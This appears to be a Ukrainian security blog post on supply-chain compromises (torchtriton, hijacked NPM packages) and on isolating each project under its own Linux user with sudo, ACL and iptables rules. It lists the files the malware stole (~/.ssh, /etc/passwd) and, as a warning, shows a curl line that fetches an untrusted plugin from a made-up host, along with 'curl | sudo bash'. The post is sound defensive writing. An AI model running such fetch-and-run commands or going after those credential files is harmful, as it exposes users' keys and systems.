Як треба (і як не треба) супроводжувати вашу систему, GIT та пакети

Гарний адмін та його сервер
Гарний адмін та його сервер 1000x1000
good_admin_and_his_server_exw.jpg

Стандартна ситуація, у вас є основний робочий комп’ютер, на якому у вас є три різних проекта.
Один проект на nodejs, другий продакшн на python, а третій ваш власний “pet project”, теж на python.
А ще у вас у цій же системі особиста та робоча пошта, та й, скажімо, браузер і клієнт-банк.
І це все під вашим юзером.
Звичайно ж, головне, щоб не під рутом!
Решта не має значення. ¯\_(ツ)_/¯
Все цілком звичайне.

У багатьох технічно грамотних розробників таких проектів можуть бути десятки і десятки ключів для ssh або git серверів.

Приклад із популярним фреймворком PyTorch


Цілком повсякденно Ви пишете свій код, іноді комітіте, і тут у ваш затишний pet-project з AI прилітає оновлення torchtriton.
А після цього з вашої системи відлітають наступні набори даних, відповідно до основної функції бінарника, яка робить наступне:

  • Збір системної інформації:
    • nameservers з /etc/resolv.conf
    • hostname з gethostname()
    • поточний логін з getlogin()
    • поточна робоча директорія з getcwd()
    • змінні оточення
  • Читання наступних файлів:
    • /etc/hosts
    • /etc/passwd
    • Перші 1,000 файлів з $HOME/*
    • $HOME/.gitconfig
    • $HOME/.ssh/*

Оновлення прилетіло, конфедиційні дані – відлетіли.
Скомпрометовано не тільки все під вашим юзером (і, можливо, системою), але й по ланцюжку все, чим ви керували, куди комітили, куди підключалися.

  1. 2023 Compromised PyTorch dependency | Подстановка вредоносной зависимости PyTorch
  2. 2024 Attack on PyTorch | Атака на инфраструктуру PyTorch


Другий приклад: компрометація 18 NPM-пакетів із 2 мільярдами установок на тиждень


Ось найцікавіше, крім іншого:

Цей malware по суті є перехоплювач, який перехоплює як мережевий трафік браузера, так і API додатків.

  • Впроваджує себе у браузер
    • Перехоплює основні функції, такі як fetch, XMLHttpRequest, а також API гаманців (window.ethereum, Solana, etc.).
    • Переконується, що може перехоплювати і веб-трафік, і активність гаманця.
  • Відстежує конфіденційні дані
    • Сканує мережеві відповіді та вміст транзакцій щодо наявності чогось, що виглядає як адреса гаманця або переказ.
    • Розпізнає безліч форматів у мережах Ethereum, Bitcoin, Solana, Tron, Litecoin та Bitcoin Cash.
  • Перехоплює транзакції до їх підписання
    • Змінює параметри транзакцій Ethereum та Solana (наприклад, одержувачів, підтверджень, дозволів).
    • Навіть якщо інтерфейс користувача виглядає коректно, підписана транзакція спрямовує засоби атакуючому.

Ваш браузер повністю скомпрометований. А також платіжні інструменти на базі блокчейну.
Жодні 2FA (two-factor authentication) з використанням телефону або фізичного токена більше не мають значення - браузер пропатчений зсередини.

  1. Компрометация 18 NPM-пакетов с 2 миллиардами загрузок в неделю
  2. 18 very popular NPM-packages were compromised

Думаю, двох прикладів достатньо, наводити і описувати більше немає необхідності, нижче я наведу посилання на подібні атаки.

Джерела коду


Тут важливе інше. Цей код, пакети та їх залежності поширювалися з умовно довірених джерел.
У першому випадку це один із двох найпопулярніших фреймворків для нейромереж, у другому це штатне джерело пакетів NPM.


Серверна сторона


Крім вашої робочої машини, код, який ви використовуєте так само запускається після комміта при деплої на сервері у деякому своєму оточенні і зі своїми налаштуваннями, змінними та правами.
Це необхідно розуміти та враховувати. Оточення для запуску можуть бути різноманітними, тому я не розглядаю їх тут.


Але працювати з цим треба?


Щонайменше, ви можете додати окремого користувача для кожного проекту.
Наприклад, ваш логін awesome.
Додамо нового користувача ai-pet:

1
2
3
sudo-rs groupadd --gid 12345 ai-pet
sudo-rs adduser --home /home/ai-pet --shell /bin/bash --ingroup ai-pet --disabled-password --uid 12345 ai-pet
sudo-rs usermod -aG ai-pet awesome

sudo-rs visudo
Додамо рядок, який дозволяє вам запускати певну програму (/bin/bash) від імені іншого користувача (ai-pet):
awesome ALL=(ai-pet) /bin/bash
Або, якщо не бажаєте вводити пароль, можете додати NOPASSWD.
awesome ALL=(ai-pet) NOPASSWD: /bin/bash

Встановимо параметри доступу для директорії

Це необхідно для наслідування параметрів доступу rw- для групи ai-pet, членом якої ви є.
Це дозволить вам редагувати існуючі та новостворені файли в цій директорії.

1
2
3
4
5
sudo-rs mkdir -p /data/git/my-ai-pet
sudo-rs chown ai-pet:ai-pet /data/git/my-ai-pet
sudo-rs chmod u=rwx,g-x,g=rwXs,o-rwx /data/git/my-ai-pet
sudo-rs setfacl -Rm g:ai-pet:rw /data/git/my-ai-pet
sudo-rs setfacl -Rdm g:ai-pet:rw /data/git/my-ai-pet

Варіант із глобальним налаштуванням, використовуючи umask

Замість встановлення параметрів для окремої директорії, можна налаштувати права для нових файлів та директорій глобально.
sudo-rs nano /home/ai-pet/.bashrc
Додамо рядок:
umask 017

Як цим користуватися?

Ви зараз awesome. Клонуєте свій репозитарій.
cd /data/git/my-ai-pet
git clone ssh://git@development.mysite.net/awesome/ai-project.git

Тепер логініться як ai-pet:
sudo-rs --login --user ai-pet /bin/bash
Тепер ви встановлюєте всі необхідні пакети або бінарники для цього користувача локально, у ~/.local
Якщо це python venv, то python3 -m venv ~/.my-ai-pet-environment тощо.
Якщо це RubyGems, то як варіант для .bashrc:

1
2
3
export GEM_HOME=$HOME/.gem
export PATH=$PATH:$GEM_HOME/bin
export PATH=/usr/local/sbin:/usr/sbin:/usr/bin:/sbin:/bin:/home/ai-pet/.gem/bin

Тепер ви можете зайти до директорії вашого проекту і запускати налагоджувальний сервер / компіляцію або те, що вам потрібно.
cd /data/git/my-ai-pet/ai-project

Якщо це досить простий проект, якому потрібна тільки консоль для компіляції/запуску сервера, то вам достатньо виконувати команди як ai-pet.
Редагувати файли в /data/git/my-ai-pet/ai-project і комітити зміни ви можете як awesome.
Але тільки не запускати нічого як awesome!

Якщо це складний проект, який також вимагає запуску в IDE, ви можете не встановлювати ключ --disabled-password і додати повноцінного користувача, залогінитися під ним і вести розробку.
При цьому так само комітити як awesome.

Щоб не було встановлено та запущено користувачем ai-pet, йому буде доступно все, що буде доступне його користувачу.
При цьому ключ від ssh /home/awesome/.ssh/development_mysite_net.ed25519 він не отримає.
А що ще важливіше, він не отримає доступу до інших ключів, наприклад, до вашого production:
/home/awesome/.ssh/enterprise_production_companysite_com.ed25519 і до всього іншого, до чого не повинно бути доступу.
Але враховуйте на вашу “серверну частину”, якщо вона є у цього проекту, де цей код так само виконуватиметься.

Що ще важливо

Файлова система

Вищеописане буде мати сенс, якщо у вас у файловій системі не завалялися через недогляд директорії з важливою інформацією та правами на зразок rwxrwxr-x, або 775.
А я таке дуже часто зустрічав на серверах, коли якась директорія була створена зі стандартною маскою, потім її забули поміняти і склали туди, наприклад, ключі від openvpn.

Мережа

Так само часто зустрічаються локальні не запаролені сайти з api, які ви ж можете тримати запущеними для налагодження від інших ваших проектів.
А ще локальні phpmyadmin або pgadmin з паролями “admin” чи “123”.
Так що після установки пакетів, на час запуску та налагодження, цілком можна вимкнути мережу для користувача ai-pet.
id -u ai-pet

Наприклад:

1
2
3
4
5
6
7
8
iptables -I OUTPUT -o tun0    --match owner --uid-owner 12345 -j DROP
iptables -I OUTPUT -o docker0 --match owner --uid-owner 12345 -j DROP
iptables -I OUTPUT -o kvmbr0  --match owner --uid-owner 12345 -j DROP
iptables -I OUTPUT -o wlan0   --match owner --uid-owner 12345 -j REJECT --reject-with icmp-port-unreachable
iptables -I OUTPUT -o wg0     --match owner --uid-owner 12345 -j DROP
iptables -I OUTPUT -o lo      --match owner --uid-owner 12345 -j ACCEPT
iptables -I OUTPUT -o lo -p udp --dport 53 --match owner --uid-owner 12345 -j REJECT --reject-with icmp-port-unreachable
iptables -I OUTPUT -o lo -p tcp --dport 53 --match owner --uid-owner 12345 -j REJECT --reject-with icmp-port-unreachable


До речі, його з’єднання можна логувати.

Але мені це треба під моїм логіном!


І це нормально, наприклад, сам використовую Wireshark з плагінами, а ще Kate з додатковими External Tools.
Усі плагіни, модулі, скрипти, які ви встановлюєте, ви повинні особисто прочитати та перевірити.
А не виконати пару команд з README і бігти запускати програму:

1
2
3
4
mkdir -p ~/.local/lib/wireshark/plugins/
curl "http://superhackscripts.web/no-more-secrets.lua" > \
    ~/.local/lib/wireshark/plugins/no-more-secrets.lua
wireshark


curl -s | sudo bash


Будь ласка, не робіть так ніколи!
І ось чому.
Давайте пограємо в одну гру, я назву її install cloaking, по аналогії з SEO cloaking.
Коли пошуковому роботу відображався один контент, а користувачеві – інший.
Всього три ігри, з трохи різною логікою:

  • https://secops.it/assets/scripts/install.sh
    У цій грі вам вперше буде відображено один скрипт, а наступні 9 разів - інший, потім знову.
  • https://secops.it/assets/scripts/install_eo.sh
    У цій грі ви будете завантажувати варіанти, що чергуються, то один, то інший.
  • https://secops.it/assets/scripts/install_cloaking.sh
    А в цій, вам знадобиться браузер і дві утиліти: curl та wget.

Ігри безпечні, головне не намагатися запустити код, лише читати.
Логіка написана досить проста, використовуючи модуль lua nginx.
У уявному прикладі її можна розширити або навпаки звузити до певних User-Agent цільових установників пакетів python, або бібліотек оновлення фреймворків.

Це наочний приклад того, що ви повинні бачити, перевіряти та розуміти те, що запускаєте.
В ідеалі, перевіряючи по ланцюжку, все, що завантажує інсталяційний скрипт.

1
2
3
curl -v https://somesite.tld/install.sh > install.sh    # Download
less install.sh                                         # Read
sudo bash ./install.sh                                  # Run local copy


Економічна доцільність


Якщо оцінювати поверхово, то curl | sudo bash за кілька секунд встановить потрібний софт.
І ви дуже продуктивні, просто блискавичні!
Читати та перевіряти всі його змінні заняття дуже тривале.
Встановлювати окремі оточення та певні набори пакетів для кожного проекту теж не так швидко та зручно.
Супроводжувати власний приватний репозиторій PyPI або форки певних проектів найчастіше просто жахливо довго і дорого.
При цьому незрозуміло, чим ви займаєтеся весь час і навіщо це потрібно, якщо у всіх все просто.

З іншого боку, якщо не розглядати економічні, репутаційні та інформаційні втрати, спричинені компрометацією однієї тільки робочої станції одного розробника, а просто оцінити час, необхідний на перевірку всього, до чого він мав доступ, то це вже можна порівняти.

Деякі поради


  • Тримайте ключі ssh/gpg у зашифрованому вигляді.
  • Не забувайте встановлювати/змінювати права доступу до файлів та директорій.
    Слідкуйте за цим.
  • Ваш користувач, під яким ви логініться по суті, повинен керувати лише оточенням, в якому ви запускаєте абсолютно довірені програми якщо такі є.
  • Зауважте, що кожна стороння програма або скрипт може злити всі ваші дані до яких зможе дотягнутися.
  • Будь-який проект на github, PyPI, або NPM, яким ви користувалися роками, завтра може оновитися і спробувати вбити вашу систему.
    Скільки б мільйонів зірок у нього не було, він залежить від його власника, який може у певний момент:
  • Дивіться на: KVM/LXC/SElinux/AppArmor


Це навряд чи допоможе від цілеспрямованої атаки безпосередньо на Вас, тому що можуть бути використані інші вектори, але від типових масових компрометацій та хробаків цілком придатно.

Крім ізоляції недовіреного ви можете так само ізолювати довірені оточення з мінімальними наборами пакетів, залежностей та даних.
Для цього підходить KVM, системні образи яких зручно переносити та тримати їх налаштування незалежно від хостів.

Посилання


Ось ще кілька примітних подій, в яких жертвами ставали саме розробники:


Уявляю, якщо у певний момент прилетить “неофіційне” оновлення для чогось на зразок Ansible.

Оригінальний пост на SecOps.it Blog Як треба (і як не треба) супроводжувати вашу систему, GIT та пакети